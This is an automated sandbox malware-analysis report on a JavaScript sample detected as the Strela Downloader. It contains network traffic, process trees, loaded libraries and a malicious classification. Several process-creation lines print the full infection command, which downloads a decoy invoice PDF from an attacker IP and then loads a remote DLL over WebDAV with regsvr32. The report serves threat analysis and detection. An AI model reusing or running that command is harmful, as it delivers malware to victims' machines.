HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2093520055.000002218C31B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2096173658.000002218E150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2175068471.0000026CA1626000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2175068471.0000026CA1609000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2175068471.0000026CA15D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2175068471.0000026CA15ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/KO
Source: net.exe, 00000007.00000002.2175068471.0000026CA1609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/R
Source: net.exe, 00000007.00000002.2175068471.0000026CA15D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spaceAB
Source: svchost.exe, 00000009.00000002.3378256820.000001BCD600F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2185912669.000001BCD5D30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2616, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 507722252877028578.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3788

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6480:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v4yfbhse.ovr.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\507722252877028578.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1552,i,7908193975691399747,14507229890269203624,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1552,i,7908193975691399747,14507229890269203624,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
